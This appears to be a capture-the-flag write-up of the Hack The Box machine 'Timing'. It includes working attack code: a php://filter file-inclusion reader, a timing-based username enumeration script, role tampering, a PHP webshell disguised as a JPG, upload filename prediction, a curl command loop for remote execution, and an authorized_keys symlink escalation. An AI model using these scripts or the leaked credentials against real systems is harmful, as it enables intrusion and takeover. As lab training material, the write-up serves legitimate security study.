timing
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 19:30 IST
Nmap scan report for 10.10.11.135
Host is up (0.090s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.30 seconds

Pasted image 20240210011953.png

Running Gobuster ->
gobuster dir -u http://10.10.11.135 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x php

/.php                 (Status: 403) [Size: 277]
/images               (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/.html                (Status: 403) [Size: 277]
/.html.php            (Status: 403) [Size: 277]
/login.php            (Status: 200) [Size: 5609]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]
/index.php            (Status: 302) [Size: 0] [--> ./login.php]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]
/.htm                 (Status: 403) [Size: 277]
/.htm.php             (Status: 403) [Size: 277]
/profile.php          (Status: 302) [Size: 0] [--> ./login.php]
/logout.php           (Status: 302) [Size: 0] [--> ./login.php]
/image.php            (Status: 200) [Size: 0]
/upload.php           (Status: 302) [Size: 0] [--> ./login.php]
/header.php           (Status: 302) [Size: 0] [--> ./login.php]
/footer.php           (Status: 200) [Size: 3937]
/db_conn.php            (Status: 200) [Size: 0]

Footer.php gives footer of the page.
Pasted image 20240210012117.png

Image.php gives a blank page. which looks like that image.php is accepting a parameter.
Pasted image 20240210012142.png
Pasted image 20240210012217.png

I ll use PHP filter to try to bypass this.
Pasted image 20240210012337.png

Script to automate it

import requests
import base64

while True:
  i = input("> ")
  url = f"http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource={i}"
  r = requests.get(url)
  decoded_bytes = base64.b64decode(r.text)
  decoded_string = decoded_bytes.decode('utf-8')
  print(decoded_string)

Pasted image 20240210012434.png

I ll get the source code of the application.

db_conn.php

<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

The password did not work in ssh.

Login.php

The script makes a sleep of 1 second when we type a correct username in the login field.

function createTimeChannel()                                                                                                                     
{                                                                                                                                                
    sleep(1);                                                                                                                                    
}                                                                                                                                                
include "db_conn.php";                                                                                                                           
if (isset($_SESSION['userid'])){                                                                                                                 
    header('Location: ./index.php');                                                                                                             
    die();                                                                                                                                       
}                                                                                                                                                
if (isset($_GET['login'])) {                                                                                                                     
    $username = $_POST['user'];                                                                                                                  
    $password = $_POST['password'];                                                                                                              
    $statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");                                                                
    $result = $statement->execute(array('username' => $username));                                                                               
    $user = $statement->fetch();

    if ($user !== false) {
        createTimeChannel();
        if (password_verify($password, $user['password'])) {
            $_SESSION['userid'] = $user['id'];
            $_SESSION['role'] = $user['role'];
            header('Location: ./index.php');
            return;
        }
    }
    $errorMessage = "Invalid username or password entered";

[--SNIP--]

I ll send a request as admin user and see if admin user is a valid user or not
Pasted image 20240210012930.png
We have a 1.2 seconds delay which is greater that 1 seconds which confirms admin is a valid user.

I ll create a script which ll enumerate valid users.

import time
import requests
url = 'http://10.10.11.135/login.php?login=true'

proxies = {'http':'http://127.0.0.1:8080'}
headers = {"Cookie":"PHPSESSID=jvdqir35pghnlt0dgaavpf7vhd"}
with open('/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt', 'r') as f:
  for lines in f:
    data = {"user":f"{lines.strip()}","password":"a"}
    start_time = time.time()
    r = requests.post(url,headers=headers,data=data,proxies=proxies)
    end_time = time.time()
    total_time = ((end_time - start_time) * 1000)
    if total_time >= 1000:
      print(lines)

scott is a false positive.
aaron is a valid user.
Pasted image 20240209230603.png

I was thinking to perform a password spray but trying some default password worked

aaron:aaron
Pasted image 20240210013145.png

Now I have an edit profile section.
Pasted image 20240210013207.png

It sends request to profile_update.php
Pasted image 20240210013246.png

Also in response we get password lol, and a role.
reading the source of profile_update.php

--snip
    if ($user !== false) {                                                                                                                       
        ini_set('display_errors', '1');                                                                                                          
        ini_set('display_startup_errors', '1');                                                                                                  
        error_reporting(E_ALL);                                                                                                                  
        $firstName = $_POST['firstName'];                                                                                                        
        $lastName = $_POST['lastName'];                                                                                                          
        $email = $_POST['email'];                                                                                                                
        $company = $_POST['company'];                                                                                                            
        $role = $user['role'];                                                                                                                   
        if (isset($_POST['role'])) {                                                                                                             
            $role = $_POST['role'];
            $_SESSION['role'] = $role;
        }
--snip

We can set a role, I ll set it to 1.
Pasted image 20240210013430.png

refreshing the page I get an admin panel.
Pasted image 20240210013453.png

Where I can upload images.
Pasted image 20240210013506.png

I ll take a look at upload.php

It uploads .jpg files.
Pasted image 20240210013607.png

The vulnerability is in image.php

Pasted image 20240210013712.png
because include is in the code, we can execute php code even in images.

revshell.jpg

<?php system($_REQUEST['cmd']); ?>

Before uploading I ll take a look at upload.php that how it is uploading the file on the server

The file should be a .jpg extension it will be uploaded in images/uploads.
The file name is being tampered so it cannot be guessed but we are hackers.

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);

There is a mistake in the machines' authors code he placed $file_hash in quotes which makes it a string rather than a value in a variable. The time function uses the current time, We can get the current time as when we send a request to burp we can see the requests exact time. its appending _filename to the end

<?php

function is_safe_include($text)
{
    $blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");

    foreach ($blacklist as $item) {
        if (strpos($text, $item) !== false) {
            return false;
        }
    }
    return substr($text, 0, 1) !== "/";

}

if (isset($_GET['img'])) {
    if (is_safe_include($_GET['img'])) {
        include($_GET['img']);
    } else {
        echo "Hacking attempt detected!";
    }
}

> upload.php
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

I ll upload my file.

I ll send it to repeater and then press send button.
Pasted image 20240210015133.png
I ll use php strtotime() to convert the time

➜  Timing php -a
Interactive shell

php > echo  md5('$file_hash' . strtotime('Fri, 09 Feb 2024 20:21:20 GMT'));
8a71aea29ea0ecb52a695a6488854392

RCE
Pasted image 20240210015702.png

I was not able to get a reverse shell. There was some kind of firewall.
Pasted image 20240210015806.png

bash script ->

while true; do
    read -p "> " input_data
        curl -X POST "http://10.10.11.135/image.php?img=images/uploads/0161921840b27da4a81503b796eff8a4_rev.jpg" -d "cmd=$input_data"
        done
➜  Timing bash script/rce.sh
> whoami
www-data
> pwd
/var/www/html
> 

In /opt directory there was some zip file.
Pasted image 20240210015956.png

I copied it to the www directory so I can download it.
cp /opt/source-files-backup.zip source-files-backup.zip

Downloaded the zip file -> 10.10.11.135/source-files-backup.zip

The zip file had .git files.
Pasted image 20240210020142.png

There were only two logs.
Pasted image 20240210020157.png

I made a diff between them ->

git diff e4e214696159a25c69812571c8214d2bf8736a3f 16de2698b5b122c93461298eab730d00273bd83e

Pasted image 20240210020215.png

I ll try to get a ssh shell using these creds.
aaron:S3cr3t_unGu3ss4bl3_p422w0Rd

I am in
Pasted image 20240210020404.png

aaron@timing:~$ cat /usr/bin/netutils 
#! /bin/bash
java -jar /root/netutils.jar

I ll run it.
Pasted image 20240210020512.png
It downloaded hello in cwd
Hello is owned by root.
Pasted image 20240210020535.png

I ll make a symlink to /root/.ssh/authorized keys and upload my key using the sudo command and hope for the best that my authorized key is uploaded on the server.

Pasted image 20240210020713.png

I ll create a hello.pub on my machine using ssh-keygen.
Pasted image 20240210020801.png

I ll try to login using the keys.

I am in
Pasted image 20240210020829.png
Root